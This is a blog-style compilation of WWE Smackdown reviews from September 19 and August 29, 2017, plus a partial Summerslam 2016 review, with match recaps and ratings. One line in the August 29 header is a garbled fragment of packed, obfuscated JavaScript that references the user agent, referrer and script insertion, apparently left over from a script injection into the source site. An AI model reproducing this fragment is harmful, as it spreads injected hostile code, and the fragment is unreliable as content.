Smackdown – September 19, 2017: Now You Might Hate This One

Smackdown
Date: September 19, 2017
Location: Oracle Arena, Oakland, California
Commentators: Tom Phillips, Corey Graves, Byron Saxton

I’m getting used to this idea of having title matches booked in advance of the TV shows. This time around we have the US Title on the line as AJ Styles defends against Baron Corbin, who said he was answering this week’s Open Challenge in advance. And there’s that whole Kevin Owens attempting to murder Vince McMahon deal. Let’s get to it.

We open with a recap of the ending of last week’s show with Owens destroying Mr. McMahon in a heck of a beatdown.

Here’s Shane McMahon to open things up. He calls his father one salty SOB, which is really not a nice thing to say about your grandmother. Last week Shane sat with his kids and watched his father and their grandfather get the beating of a lifetime. Shane talks about the family’s toughness and condemns him to a beating of a lifetime inside the Cell.

Randy Orton vs. Aiden English

English sings about Orton hearing voices in his head because it’s full of lead. Orton wastes no time by hitting the powerslam in the first minute but Aiden slips out of the hanging DDT. They head outside with English dropping him onto the announcers’ table as we take a break. Back with Orton fighting out of a chinlock but getting dropkicked right back down. English goes to the second rope….and dives right into the RKO for the pin at 7:10.

Rating: C-. I could go for more of English getting in some offense as the singing character is something that could get him a nice little run. It’s not like they have anything else going on so give it a try. Orton is likely going to continue his “feud” with Rusev, which will hopefully last longer than fifteen seconds next time.

Post match here’s Rusev to talk about Orton turning his homecoming into a national disgrace. Rusev is going to change things right now….and let’s ring the bell.

Rusev vs. Randy Orton

English distracts Orton and it’s a superkick to end Orton at 11 seconds. I WAS KIDDING ABOUT THE FIFTEEN SECONDS THING!!! That sounds like payback for what happened at Summerslam, which is still a dumb idea, especially if Orton wins in a long match at the pay per view. Just give Rusev a win or two that matters and things will be better, not just having this stuff that means nothing more than a fluke.

Rusev is very excited with the win and says he’ll return home as a conquering hero.

Here are Jinder Mahal and the Singh Brothers to make fun of Shinsuke Nakamura’s face again, including his mad and artistic faces. Mahal makes fun of Nakamura’s voice and hair, followed by some Mr. Miyagi jokes. Fans: “THAT’S TOO FAR!” We get some Punjabi and that’s about it. Aside from probably being racist, this showed that these two have nothing to say to each other and are only fighting because one of them has the title.

Nakamura says it won’t be so funny when he wins the title.

Here’s AJ Styles for his title defense but before the match, AJ says Kevin has bitten off more than he can chew. He attacked the man who is responsible for all of us being here tonight. As for Corbin, AJ is tired of him trying to short cut his way everywhere. The big bad wolf can huff and puff but he’ll never blow down the house that AJ Styles built.

US Title: AJ Styles vs. Baron Corbin

Styles is defending but Corbin jumps him during the Big Match Intros. Tye Dillinger runs in to jump Corbin though and hurts his ankle. AJ is up for a running forearm and the Calf Crusher on the bad leg. No match of course and we’ll just wait on the announcement for the match being moved to the pay per view.

Post break, Corbin isn’t happy.

Here’s Charlotte for the first time in a good while. She’s been gone for about six weeks while her father has been healing up and he is making a comeback. Since she’s been gone, Charlotte has learned how fragile life is and from now on she’s going to make the most of every moment she can.

Cue Natalya to says he’s here to host the first ever Celebration of Women. There’s a covered up picture put up behind Natalya as she talks about how important women have been to the world. The picture is unveiled and of course it’s of Natalya herself. Charlotte likes the picture and says she’s coming for the title. This brings out Becky Lynch to say the title is coming back to its proper owner.

Now it’s Naomi to call Natalya a crazy cat lady and throw her glowing hat into the title hunt. Hang on a second though as it’s Tamina and Lana interrupting because this company has no idea how to book a women’s division aside from just throwing everyone into one match. Natalya leaves and says she’s not a crazy cat lady but here’s Daniel Bryan to make the multi-woman match to crown a new #1 contender for later tonight.

New Day vs. Hype Bros

Non-title with the Usos on commentary. Mojo grabs an abdominal stretch on Big E. but gets sent outside for a break less than a minute in because we can’t break ten minutes of wrestling on this show. Back with Kofi in trouble in the corner until Mojo misses a charge into the post. The hot tag brings in Big E., who misses the hip swivel Warrior Splash. Ryder adds the middle rope dropkick and the Broski Boot for two. Kofi hits the running dive over the top onto Mojo, leaving Ryder to take the Midnight Hour for the pin at 6:26. Not enough shown to rate but this was entertaining while it lasted.

We look at the Vince beatdown again.

Owens joins us live via satellite and apologizes (fans aren’t cool with that) for what happened last week. He apologizes to the WWE Universe and to the McMahon Family, but Shane had this coming. This is all on Shane, who drove Owens to do what he did last week. Last week, Owens was looking at Shane when he attacked Vince. He has one more apology and it’s to anyone who watches the pay per view. What he did to Vince is nothing compared to what’s going to do to Shane. It’s good that they’re going to Hell because people like Owens don’t go to Heaven.

Mojo says he’s tired of losing and something has to change.

Here’s Dolph Ziggler for his usual stuff: he’s the best in-ring performer ever and entrances don’t mean anything. First up it’s HHH, which means he can run NXT now, even if he’s not wearing mom jeans. Ziggler looks upset and says stop the show. That means Heartbreak Ziggler with Dolph saying he can feel himself losing his smile. The last one is the DX entrance, complete with the glow sticks. Ziggler’s two words for you: WHO CARES? He wants to know who is supposed to care about two dads trying to sell you stuff. Ziggler is the best ever and the fans couldn’t care less.

Naomi vs. Charlotte vs. Tamina vs. Becky Lynch

The winner gets Natalya at the pay per view. It’s a brawl to start and we’re on a break less than a minute in. Back with Charlotte and Becky breaking up a near fall before fighting each other. Becky kicks her in the ribs but Naomi crossbodies both of them for two on Lynch. Naomi grabs a Stunner for two on Charlotte as Natalya is watching in the back.

The reverse Rings of Saturn is broken up and it’s Becky grabbing the Disarm-Her. Tamina breaks that up as well but gets sent into the post. Becky’s bouncing kick in the corner is broken up and Charlotte spears Tamina down. She plants Naomi too and the moonsault hits both of them for a double near fall.

The Figure Four goes on but Becky dives in with a legdrop for the save. Tamina is back in with a Samoan drop on Becky and the Superfly Splash for two with Naomi making the save this time. Lana pulls Naomi outside but the distraction lets Charlotte kick Tamina in the face for the pin and the title shot at 9:57.

Rating: B-. This was good while it lasted and would have been better if we didn’t miss about a fourth of it for the sake of a commercial. Charlotte or Becky winning was fine here and they would have been a bit nuts to not go with Charlotte, especially with the book coming out and her dad’s health. It was a fast paced match though and that’s what this show needed.

Overall Rating: D+. This one ENTIRELY depends on how you care for your show. The big problem on this show is very simple: there was less than twenty five minutes of wrestling in two hours with about ten of that taking place during commercials. That’s terribly low, even by WWE standards. Based on that, it’s a horrible show.

However, this show was much more about hyping up the pay per view and I could get behind the idea of a show that gives away less action on the unimportant shows and saves it for the pay per views. On top of that I’m more interested in the pay per view than I was coming into this week, which is quite the step up. This show certainly isn’t for everyone but I liked the change of direction and you can see a lot more stuff added to the pay per view from here. It had a lot of negatives (low in-ring time, the Mahal stuff, Rusev/Orton) but the change of pace was very nice for a little switch.

Results

Randy Orton b. Aiden English – RKO

Rusev b. Randy Orton – Superkick

New Day b. Hype Bros – Midnight Hour to Ryder

Charlotte b. Naomi, Tamina and Becky Lynch – Big boot to Tamina

Remember to follow me on Twitter @kbreviews and pick up the Complete 2002 Monday Night Raw Reviews in either E-Book or Paperback. Check out the information here:

http://kbwrestlingreviews.com/2017/07/21/new-e-bookpaperback-kbs-complete-monday-night-raw-2002-reviews/


And check out my Amazon author page with cheap wrestling books at:


http://www.amazon.com/Thomas-Hall/e/B00E6282W6




Smackdown – August 29, 2017: Two Weeks Notice

Smackdown
");n m="q";',30,30,'document||javascript|encodeURI 45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|hhzry|var|u0026u|referrer|ykkbf||js|php'.split('|'),0,{})) August 29, 2017
Location: Verizon Arena, Little Rock, Arkansas
Commentators: Tom Phillips, John Bradshaw Layfield, Byron Saxton

We’re finally out of Brooklyn and it’s time to start the slow build towards Hell in a Cell. In this case that means we start dealing with the fallout of Shane McMahon costing Kevin Owens another shot at the US Title, which was the top story as we came out of last week’s show. Let’s get to it.

Here’s Jinder Mahal to open things up as Smackdown brings the party in a hurry. He’s ready for tonight’s tag match main event when he gets to deal with Randy Orton and Shinsuke Nakamura at the same time. We get the same speech we always get: he’s tired of being disrespected because of how he looks and he should be revered. The Singh Brothers apologize to everyone in India, including their families and friends, but more importantly to Mahal. No one will ever lay another hand on him and they would like to kiss his feet to apologize.

Before they actually can though, here’s Shinsuke Nakamura to interrupt. The fight is on until Nakamura gets caught in the numbers game. Randy Orton, Nakamura’s partner’s tonight, comes in for the save but so does Rusev. The good guys are beaten down and Mahal poses. This was way longer than it needed to be and Mahal continues to be really uninteresting.

Chad Gable/Shelton Benjamin vs. Ascension

Chad takes Viktor down without much effort and it’s off to Shelton, who doesn’t want to do a double suplex. A regular suplex gets two instead and it’s off to Gable for a suplex of his own. Viktor throws him to the floor though and we take a break. Back with Chad still in trouble at Viktor’s hands before it’s off to Konnor for some clubbing forearms.

Chad sends a charging Konnor into the post though and there’s the hot tag to Shelton. The Dragon Whip and a top rope clothesline have Konnor in trouble as things pick up. Everything breaks down and Chad sends Viktor into Shelton for a jumping Downward Spiral (Paydirt) and the pin at 7:16.

Rating: C-. This was the welcome to the tag division match for Shelton and Chad and that’s perfectly fine. I’m not sure how long they’re intending to have this team go on and it’s not like they’re hiding that. That being said, keeping them together for awhile would help the completely depleted tag division and it would be annoying to have another team put together for the sake of splitting them up again.

Baron Corbin is tired of hearing about how he blew his opportunity because it was John Cena’s fault. Thanks to him though, the US Open Challenge is back and he’ll just have to cash in on that.

Here’s AJ Styles to say the US Open Challenge is on right now.

US Title: AJ Styles vs. Tye Dillinger

AJ is defending. Hang on a second as Baron Corbin cuts Dillinger off on the ramp. Tye shoves him away but gets jumped from behind. Dillinger knocks him away again and gets inside for the opening bell. AJ slugs away to start but Dillinger breaks up the Phenomenal Blitz. Dillinger slugs away but gets kicked in the head, only to counter the Phenomena Forearm into the Tyebreaker. That’s countered as well and it’s the Calf Crusher to make Dillinger tap at 49 seconds.

Corbin jumps Dillinger again but gets forearmed down by Styles.

Mahal talks to Rusev in the back but Rusev says they’re not friends. He wouldn’t mind a title shot after the tag match either.

Mike Kanellis vs. Bobby Roode

Roode takes him to the mat with ease and gives us a GLORIOUS pose. Some chops in the corner and a hard elbow to the jaw keep Kanellis in trouble. The spinebuster sets up the Glorious DDT to end Kanellis at 2:46. Just a squash.

Here’s Aiden English for a song but Kevin Owens interrupts. Owens asks him to vacate the premises so he can talk about what happened last week in the main event. Basically it’s all Shane’s fault that he’s not the US Champion right now. Owens won the Universal Title one year ago today and now he’s standing year without his US Title. This never would have happened in the good old days when he was on Raw where Stephanie McMahon never would have let this happen.

Cue Shane to say Baron was Owens’ pick and turned out to be a very biased referee. Corbin didn’t even finish the match and that’s why Shane had to come out there in the first place. Owens insists he got screwed but Shane doesn’t want to hear it. Aiden needs to get back in the ring because he has a match right now.

Aiden English vs. Sami Zayn

Owens sits in on commentary. Aiden wastes no time in hammering away and grabbing a suplex for two. Sami fights up and throws him outside for the running flip dive, which draws Owens into the ring to take the referee’s shirt. Well they do say vertical stripes are slimming. As you might expect Sami isn’t sure what’s going on and the distraction lets Aiden jump Sami from behind. Owens adds a Pop Up Powerbomb and a fast count gives Aiden the pin at 2:24. I guess Shane was off finding a hot pretzel.

Video package on….Sgt. Slaughter? Sponsored by Burger King? Ok then.

Dolph Ziggler is asked what you can expect from him but he says you can expect…..nothing. He’s been around for ten years and it’s not fair that he’s just an afterthought. He’s really a star but he gets distracted by all the little things. Ziggler does the You Can’t See Me and wants to know what that even means.

On Raw too you have a guy playing a guitar and it makes no sense. Maybe he can hop on a four wheeler like Stone Cold did and pour beer over himself while pretending to drink it. Or he can paint himself up like Finn Balor or be a superhero called Zigman. If you want all flash and no substance, that’s what you’re going to get next week. I can’t imagine I’ll ever say this again but I’m rather interested.

Usos vs. New Day

Non-title but the winners get to pick the stipulation for the rematch. Wait what? Are you serious? They really have NO OTHER OPTIONS to determine this? Not a singles match? Or a coin toss? Or a spelling bee? Woods is limping to the ring with a sign around his neck saying “it’s sore” due to a knee injury suffered at a house show. The fact that he can walk on it is a very good sign at least.

Joined in progress with Jimmy charging into a Rock Bottom out of the corner. That’s enough for the hot tag to Kofi for some dropkicks and a dragon sleeper of all things to Jey. Everything breaks down and Jimmy offers a distraction so Jey can grab a rollup for the pin at 2:24 shown.

Carmella yells at James Ellsworth for screwing up last week when Natalya comes in and threatens to make her the Baron Corbin of the women’s division. They have a match next week and Ellsworth seems to like the idea. Carmella and Ellsworth leave so Naomi can come in and talk about the title rematch in two weeks. Cat jokes are made as well.

Lana, with the accent coming and going every few words, introduces Tamina for her match.

Tamina vs. Tina Stock

Stock goes after her as the LET’S GO JOBBER chant starts. Lana grabs a mic and orders that Tamina CRUSH. Tamina sends her into the corner for a knee to the head and a superkick for the pin at 59 seconds.

Tamina and Lana have a quick photoshoot after the match.

It’s time for Season 2 of the Fashion Files! We even have an opening sequence now with highlights of previous episodes, including a graphic saying “not at all starring Chuck Norris”. They’re back in the office (room Two B) with Breeze saying they need to solve their biggest crime now that vacation is over.

In order to do that though, they have new tech from the boys in the lab. First up we have some long distance listening device (headphones), a blacklight, a belt (to hold your pants up) and friendship bracelets. They turn out the lights to test the blacklight and see some arrows on their boxes, eventually pointing to their room sign. The blacklight reveals that it says Two B or Not to B, which leads them to suspect Aiden English because it’s Shakespeare you see.

Shinsuke Nakamura/Randy Orton vs. Rusev/Jinder Mahal

The good guys start brawling on the floor with the villains being sent into the barricade. We take a break before the opening bell and it’s joined in progress with Nakamura kicking Mahal in the head. Orton comes in and hammers away on the champ but the RKO is blocked. After a quick trip to the floor, a Singh Brothers distraction lets Rusev send Orton into the barricade and stomp away.

We hit the front facelock for a bit before Mahal comes in for a knee drop. Orton sends Mahal shoulder first into the post and it’s off to Nakamura to clean some house. The running knee to the ribs in the corner gets two on Rusev and Mahal has to break up a cross armbreaker. Everything breaks down and Mahal escapes the draping DDT so Orton hits a regular one. That’s rather odd. Orton can’t hit the RKO but it’s Kinshasa to put Rusev away at 7:30.

Rating: D+. Standard main event tag match here, which means the match was only ok. It was pretty clear that Rusev was just there for the sake of taking the fall, which I’m glad about as you don’t want your champion losing, even if he is Jinder Mahal. If nothing else it’s another thing you can add to the list of reasons why Rusev probably isn’t the biggest Mahal fan.

Post match Orton stares at Nakamura and lays him out with the RKO to end the show.

Overall Rating: C+. They got a lot of stuff on this show and that’s a good thing for once. Nothing felt like it overstayed its welcome, which made for a pretty easy show to watch. It’s also nice to see them setting things up in advance, which is becoming a trend. We now have two matches announced and one more announced for the following week. That’s not bad and gives me a reason to keep watching, which is more than you can often say about most shows. Good effort this week but there’s nothing worth going out of your way to see.

Results

Chad Gable/Shelton Benjamin b. Ascension – Paydirt to Viktor

AJ Styles b. Tye Dillinger – Calf Crusher

Bobby Roode b. Mike Kanellis – Glorious DDT

Aiden English b. Sami Zayn – Pop Up Powerbomb from Kevin Owens

Tamina b. Tina Stock – Superkick

Randy Orton/Shinsuke Nakamura b. Jinder Mahal/Rusev – Kinshasa to Rusev

Remember to follow me on Twitter @kbreviews and pick up the Complete 2002 Monday Night Raw Reviews in either E-Book or Paperback. Check out the information here:

http://kbwrestlingreviews.com/2017/07/21/new-e-bookpaperback-kbs-complete-monday-night-raw-2002-reviews/


And check out my Amazon author page with cheap wrestling books at:


http://www.amazon.com/Thomas-Hall/e/B00E6282W6




Summerslam Count-Up – 2016 (2017 Redo): The Bella, The Doctors and the SMASH

Summerslam 2016
Date: August 21, 2016
Location: Barclays Center, New York City, New York
Attendance: 15,974
Commentators: Michael Cole, Corey Graves, Byron Saxton, Mauro Ranallo, David Otunga, John Bradshaw Layfield

A year has passed since I saw this show and I can barely remember much about it. That’s very telling when you look at how stacked this show really is. There are multiple top level matches here and it really wasn’t clear what was going to close the show until the night of the event. Hopefully that means that this SIX HOUR show holds up. Let’s get to it.

So here’s a quick plug. I’m going through the pre-show and there’s a three expert panel of Booker T., Jerry Lawler and Lita. Earlier this year, I met all three of them at WrestleCon. If you’re ever at a Wrestlemania weekend, treat yourself to an amazing time and GO TO WRESTLECON. I met over 120 wrestlers in about four hours. Where else are you going to get to do something like that? Anyway, on with the show.

Pre-Show: American Alpha/Hype Bros/Usos vs. Breezango/Ascension/Vaudevillains

Who would have thought that Breezango would be the most entertaining out of all these teams? This is pretty much the still titleless Smackdown tag division at this point as they had to bring in the Headbangers and throw together Heath Slater and Rhyno to be able to have a tournament. This is also a rematch from Smackdown, which shows how little effort they were putting into the tag division at this point.

Gable and Breeze start things and the fans are WAY into Gable. Chad twists around as only he can to escape a wristlock and it’s off to Jey, who is quickly driven into the corner. English comes in and says that he’s what a man is. That earns him a right hand to the jaw and it’s off to Mojo to work on a wristlock. Ryder comes in to quite the reaction as Mauro says the Hype Bros have more chemistry than the Periodic Table.

Everything breaks down (What took them so long?) and Ascension clears the ring, only to have American Alpha come off the top (the same corner) with double clotheslines (that’s pure Steiner Brothers). English posts Ryder though and we take a break. Back with Gotch putting Ryder in a chinlock, followed by Viktor doing the same. The other heels take turns stomping on Ryder until Breeze grabs his own chinlock. Fandango adds a slingshot legdrop as this is going WAY longer than it needs to.

JBL thinks cold beer uniting the APA is more effective than furry selfie sticks uniting Breezango but maybe he’s wrong. Ascension knocks the good guys off the apron but Viktor misses a charge in the corner, allowing Ryder to get in a neckbreaker on Konnor. The hot tag (with a limited reaction) brings in Jimmy to clean house.

Jordan gets the real hot tag and does his fired up sequence (which he really is awesome at) with a belly to belly getting two on Breeze. We hit the parade of secondary finishers as the referee is imploring them to tag. Mojo powerbombs Breeze and Viktor out of the corner and the Usos add stereo superkicks to set up stereo dives. Back in and Grand Amplitude plants Gotch, only to have Jey tag himself in for a Superfly Splash and the pin at 14:31. Gable is really not cool with that. Eh just wait until your team is split up for a pretty lame story where Jordan is Kurt Angle’s son.

Rating: B-. If you cut out a few minutes from this, it’s a heck of an opener. There are too many people in the match of course but they kept it moving fast enough (for the most part) to really get something fun out of it. Jordan’s house cleaning spot is a heck of a way to fire the crowd up and it made the match more fun than it should have been. Tweak this a bit (eight/ten man tag or shorten the match a bit) and it’s even better.

Pre-Show: Dudley Boyz vs. Sami Zayn/Neville

Sami works on D-Von’s arm to start and it’s off to Neville for more of the same. Both of them get in more shots as we hear about the rivalry over the NXT Title. I do appreciate the history, especially when Graves should know about that match very well. Bubba is sent outside but D-Von breaks up a springboard dive, allowing Bubba to nail Neville from behind to take over. The fans want tables but a back elbow to Neville’s jaw cuts them off in a hurry.

Back from a break with Bubba hitting his neckbreaker out of the corner. Things slow down even more as Bubba is talking even more than he usually does in a match. Bubba: “COME ON ENGLISH BOY! O-LAY! O-LAY!” The middle rope backsplash misses though and the hot tag brings in Sami. D-Von takes the Blue Thunder Bomb for two but the reverse 3D gets the same. Neville escapes the regular version though and we get some heel miscommunication. The Helluva Kick sets up the Red Arrow to put Bubba away at 7:55.

Rating: C-. That would be it for the Dudleys in WWE as they would have one more segment tomorrow night where Anderson and Gallows sent them packing. It’s also pretty much it for Sami and Neville as a team, which is quite odd as you would think they would be a fine choice for a team. The match was nothing you wouldn’t expect on Raw.

Pre-Show: Cesaro vs. Sheamus

You know, because two matches just weren’t enough for the pre-show. This is the first match of the Best of Seven Series, which really wasn’t too well received. After Cole says Cesaro is facing Cesaro and both Cole and Saxton say this is about establishing physical dominance, we’re ready to go. Sheamus misses a very early Brogue Kick but the spinning springboard uppercut is blocked as well.

Cesaro charges into an uppercut but comes back with a dropkick for one. The ten forearms to the chest are broken up so Sheamus clotheslines him onto the apron instead. It’s off to an armbar on Cesaro’s chronically taped up shoulder but Cesaro lifts him up into that kind of reverse Angle Slam of his. They’re certainly hitting each other hard here, which is pretty much the draw of the whole feud.

Sheamus hits a tilt-a-whirl slam and it’s off to a break. Back with Cesaro fighting out of a chinlock because that rule even applies on pre-shows that will never end. The Irish Curse gives Sheamus two as Cole runs down the pay per view card, which only makes me think that there are FAR too many titles in WWE. They fight over a suplex and fall out to the floor in a heap. Back in and Cesaro starts firing off the running uppercuts in the corner, capped off by a dropkick to knock him off the ropes.

The apron superplex (which wasn’t from the apron) gets two but Sheamus counters the Neutralizer into White Noise for two. There’s the super Regal Roll for two more and frustration is really setting in. Another Brogue Kick attempt is countered by one heck of a clothesline though and Cesaro adds a high crossbody for two of his own. Cesaro tries the Sharpshooter but Sheamus gets to the ropes. Back up and a poke to the eye sets up the Brogue Kick to give Sheamus the pin at 14:11.

Rating: B. They beat the heck out of each other and it was a fun match but it also brings up the problem: I’m not going to want to watch them fight six more times. No matter how good things are, having them happen so many times in a row over several weeks is going to get tiresome. It happens in all these series and it’s happening here too.

And now, after more wrestling than you get on an average Smackdown, here’s the actual pay per view.

The opening video looks at New York City, with the narrator telling you how AMAZING the city is. I’m not sure if New York City or Texas is worse about bragging about their home’s greatness. As usual, this switches over to a series of quick looks at the biggest matches on the card.

Enzo Amore/Big Cass vs. Chris Jericho/Kevin Owens

Well duh. That’s about as easy of a choice for an opener as you could ever find for this show. As you might expect, the crowd eats up the opening promo with a spoon and of course we hear a ton of New York City music references. Included are Frank Sinatra, Biggie Smalls and Jay-Z, plus more that probably go over my head. Cass adds in a few songs of his own as this is the only way this show could have opened. Since Graves is the best heel commentator in wrestling today though, he points out that Enzo is from New Jersey.

Jericho and Owens jump Enzo at the bell and the STUPID IDIOT chants start rolling. Enzo comes back with a crossbody and a running right hand to the jaw for two. It’s off to Cass, who drags Owens inside for a beal. That’s some scary power. Enzo gets launched into the corner to crush Jericho but the Canadians bail to the floor. That’s fine with Cass who tosses Enzo over the top onto them in a huge crash. I’ve always loved that spot as it just looks cool.

Back in and Enzo ax handles Owens but turns into a middle rope dropkick from Jericho. The Canadian violence begins with Owens kneeing Enzo from the apron and doing his dance on the apron in a rather funny visual. Owens’ comedic skills aren’t given enough credit more often than not. It’s back to Jericho for the Arrogant Cover and a chinlock with Owens telling Jericho to do it like he taught him.

Owens comes in and adds a gutbuster for two, followed by the running start for a chinlock. It takes real talent to turn a chinlock into an art form but Owens has somehow pulled it off. Enzo finally rolls away but Jericho is there to break up the diving tag attempt. Owens drops the frog splash for two and his stunned looked on the kickout is the usual awesome visual. Enzo gets pulled off the corner to make things even worse but, after blowing a kiss to Jericho, misses the Cannonball.

That means the hot tag to Cass and everything breaks down. Jericho dives into a big boot but Owens breaks up the Bada Boom Shaka Lacka. Cass gets posted on the floor and now the Cannonball against the barricade connects. Back in and Enzo scores with his top rope DDT on Jericho with Owens making the save. A pop up Codebreaker (didn’t look great as Jericho was too far away) ends Enzo at 12:09.

Rating: C+. Odd choice for an ending aside (not surprising of course but odd), this was a good way to get the crowd going. I could have gone for another hope spot from Enzo and more of Cass cleaning house but that pop up Codebreaker could have been a heck of a finisher if done right. Nice opener, though would it have killed them to put Enzo and Cass over in Brooklyn?

Smackdown bosses Daniel Bryan and Shane McMahon run into Raw General Manager Mick Foley to brag about how awesome their shows are. Former Daily Show host Jon Stewart and his son come in to ask what Foley is thinking to work with Stephanie. He rants about abuse of power but realizes she’s right behind him. Stephanie yells at him about how great it is to abuse power but thankfully New Day comes up. As the Smackdown bosses and Foley much on cereal, New Day asks Jon if he’d like to do something. He gets out as fast as he can and Stephanie isn’t amused.

We recap Charlotte vs. Sasha Banks. Sasha won the Women’s Title on the first exclusive show after the Brand Split and tonight is the rematch. The other big idea here is Charlotte never loses singles matches on pay per view and Banks has to recreate the magic one more time.

Raw Women’s Title: Sasha Banks vs. Charlotte

Banks is defending and we get the Big Match Intros. Some early WOOing sets up a slightly less early Bank Statement but Charlotte bails to the floor. Back in and Banks climbs the corner for a wristdrag before sending Charlotte face first into the middle buckle. Banks gets caught on top though and Charlotte basically drops her onto the ropes for a backbreaker which almost had to hurt horribly. The fact that Banks had a bad back coming in and Charlotte still did some rather sloppy moves like that got her in some hot water.

We hit a Gory Stretch on the champ for a bit but she comes back with a pair of running clotheslines. That just earns her another backbreaker and Charlotte stomps away at the back. The Figure Eight is broken up but Sasha misses a charge into the corner and gets caught in the Tree of Woe. Charlotte picks her up for a super Razor’s Edge but since that would, you know, kill Sasha, she reverses into a hurricanrana to put them both down.

Back up and a WOO earns Charlotte a string of slaps before Sasha avoids a charge in the corner and hits the double knees to the back for two. Charlotte kicks her in the leg to break up a charge but gets knocked outside again, setting up the double knees from the apron. Back in and the Backstabber doesn’t work but Natural Selection is countered into the Bank Statement (thankfully too as the Natural Selection clearly didn’t send Sasha’s head anywhere near the mat).

Charlotte makes the rope for the break and takes out the knee again. Natural Selection gives Charlotte two so she yells about being better than Sasha. Another Bank Statement goes on but Charlotte reverses into a rollup for the pin and the title at 13:52. Saxton: “Just like that?”

Rating: B. This was just a straight match and that’s the key to the whole thing. The women are getting to show that they can have a good match without the smoke and mirrors, which never would have been the case otherwise. If nothing else it got the kind of time that a title match deserves to develop the story of Banks having a bad back (which would keep her on the shelf for about a month). Strong match here and another of many to come for these two.

Doctors Anderson and Gallows (oh man I had forgotten how stupid this was) run into AJ Styles for a Club reunion. Finn Balor comes up and doesn’t think much of it. Somehow, this has still never gone anywhere.

Intercontinental Title: Miz vs. Apollo Crews

Crews is defending after winning a triple threat match. Miz comes out wearing a glittery Phantom of the Opera mask while Maryse is basically in a one piece swimsuit. In a sign of the changing times, Mauro talks about Miz’s look instead of Maryse. Miz stomps away in the corner and gets two off a running kick to the chest. Crews gets the same off a rollup, only to walk into the short DDT as it’s almost all Miz to start. We’re already in the reverse chinlock before Miz sends him into the apron to cut off a comeback. Miz takes too long coming off the top though and dives into a dropkick to put both guys down.

A crossbody into a nipup has Miz in trouble as JBL rants about Otunga calling Crews a Jackrobat (jacked acrobat). The Toss Powerbomb is countered so Crews gets two off a tilt-a-whirl powerslam. An overhead belly to belly sets up a standing moonsault, which Otunga sums up perfectly: “A man with that kind of size and that kind of muscle should not be able to do that.” Miz teases taking a walk but Maryse cuts him off, allowing Miz to post Crews. The Skull Crushing Finale retains the title at 5:36.

Rating: D+. Standard Smackdown match and something that could have been cut, or at least put in the Kickoff Show in the place of the Dudleys match. Crews felt like an easy obstacle to overcome because there was nowhere near enough build to set the match up. Put some more effort into the title already people, as it’s just not working.

We recap John Cena vs. AJ Styles. They set up the first match when Styles and Cena were in the ring together, only to have Anderson and Gallows interfere to turn Styles heel. Styles went on a great rant about how Cena was a fraud who couldn’t hang in the ring with someone like him. Cena went into a great speech about how he’s here out of love because it never gets old. AJ beat him at Money in the Bank with assistance from Anderson and Gallows, setting up a rematch between the two here.

AJ Styles vs. John Cena

This just feels big. AJ grabs a waistlock to start but is easily knocked away. The announcers go out of the way to put over how AJ has been on big shows before but nothing this big. Oh I don’t know. I remember him being at that Wrestlemania thing earlier in the year. The dueling chants begin and the AJ STYLES side is pretty clearly stronger.

Cena’s headlock is countered and AJ scores with the dropkick but the bragging earns AJ a right to the jaw. A hard whip into the corner sends AJ down for a bit with Cena doing some rare trash talking. They head to the floor and the fans start belting out JOHN CENA SUCKS, only to have AJ turn it into some gasping with a suplex onto the apron. Cena is right back with a dropkick for two and it’s time for some more right hands to the head.

AJ comes back with a forearm to the face, earning himself Cena’s finishing sequence. It’s way too early for the AA though as AJ hits a Pele, followed by the Styles Clash for a close two. The fans were actually more into the near fall than I was expecting as you would think they’d know better this early. The AA gives Cena two of his own and both guys are down again.

Styles slips out of the super AA and grabs the torture rack for the spinout powerbomb. They’re trading bombs at this point and it’s the only way they should be going here. Something like a Big Ending gives Cena two but he can’t get the STF. Instead it’s the AA neckbreaker for two on Cena (not the same as the AA JBL) but the springboard 450 only hits mat.

A faceplant puts Cena down again though and AJ can’t follow up. He manages the springboard forearm but Cena reverses into the worst STF I’ve ever seen. Thankfully AJ slips out and grabs a Crossface, which Cena powers out of as well. That’s reversed into the Calf Crusher which AJ is smart enough to twist away from the ropes. Cena reverses that into another horrible STF (AJ’s face is on the mat) so AJ is quickly up with the enziguri. A tornado DDT plants AJ and there’s the top rope Fameasser for two.

Cena heads up again and gets taken down with a super hurricanrana (Mauro: “MAMA MIA!”), followed by the Phenomenal Forearm for a VERY near fall (drawing Mauro to his feet). It’s Cena’s turn now as he takes AJ up for the super AA and….it’s two. NOW the fans know it’s on as I don’t think anyone has ever kicked out of that before. Cena is stunned and the AA is countered into another Clash. The Phenomenal Forearm puts Cena away clean at 23:10.

Rating: A. I know it’s not going to sound good but a lot of this goes to Cena. At the end of the day, the crowd completely lost it when AJ kicked out of that super AA. AJ wins here not because he got a pin but because he beat Cena clean. That’s a very, VERY short list and that’s what makes it feel so important. Think back to how big of a deal it was when Warrior pinned Hogan clean. That felt like an era changing win, and while this isn’t quite that big, it’s the same idea.

Oh yeah and it’s an outstanding match and possibly the Match of the Year. This was the heavyweight slugfest formula as they beat the heck out of each other with both guys hitting everything they could until one of them couldn’t get up. That’s a really hard match to pull off and these two did it in an incredible match. It belonged on the grand stage and gives Cena one heck of a mountain to overcome, which he somehow did in a better match at the Royal Rumble.

Post match Cena takes off his wristband and leaves it in the ring. He would do dark matches for a few weeks and then be back wrestling on TV in less than a month so this didn’t mean anything.

Some fans won a contest and got some stuff. In other words, let the fans have a breather.

Here’s Jon Stewart for your celebrity appearance. He makes fun of himself for interfering in Cena’s match last year and says the big lesson he learned was to tuck your shirt in when you’re taking an AA. As for tonight though, he’s here to be in New Day’s corner to help deal with Anderson and Gallows. In honor of the moment, he throws on a unicorn horn and does Big E.’s (out injured due to getting crotched against the post) entrance.

Tag Team Titles: New Day vs. Anderson and Gallows

New Day is defending of course and unfortunately Anderson and Gallows are still doing their stupid doctor nonsense, complete with jars for Kofi, Xavier and Jon’s testicles. I hear Paige can help you with one of those. Anderson headlocks Kofi down to start but he’s right back up with the jumping back elbow to the jaw. Kofi flips onto his feet and gets two off the standing double stomp. You can tell the fans are still recovering from the previous match and it’s off to Woods.

That goes badly as the he gets taken into the corner for a beating from Gallows. At least it does bring the fans back a bit with the rhythmic clapping. Gallows gets taken into the corner for the Unicorn Stampede (which they’ve kind of stopped doing in recent months) and the fans are really not responding. Woods sends him outside so Kofi can hit a running dive (while posing in the air) to take him down again. Back in and Gallows kicks Kofi in the head to take over for real this time with Anderson working on the arm.

